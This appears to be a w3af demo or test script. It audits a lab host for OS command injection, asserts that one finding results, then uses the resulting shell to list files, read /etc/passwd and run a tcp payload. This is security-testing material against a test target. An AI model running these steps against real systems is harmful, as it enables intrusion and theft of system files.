# This is the osCommanding demo:

plugins
output console,textFile
output config textFile
set fileName output-w3af.txt
set verbose True
back
output config console
set verbose False
back
back

plugins
audit osCommanding
back

target
set target http://moth/w3af/audit/os_commanding/simple_osc.php?cmd=fas
back
start

assert len(kb.kb.getData('osCommanding','osCommanding')) == 1

exploit
exploit osCommandingShell
interact 0

execute ls
execute w
read /etc/passwd
payload tcp

exit

exit
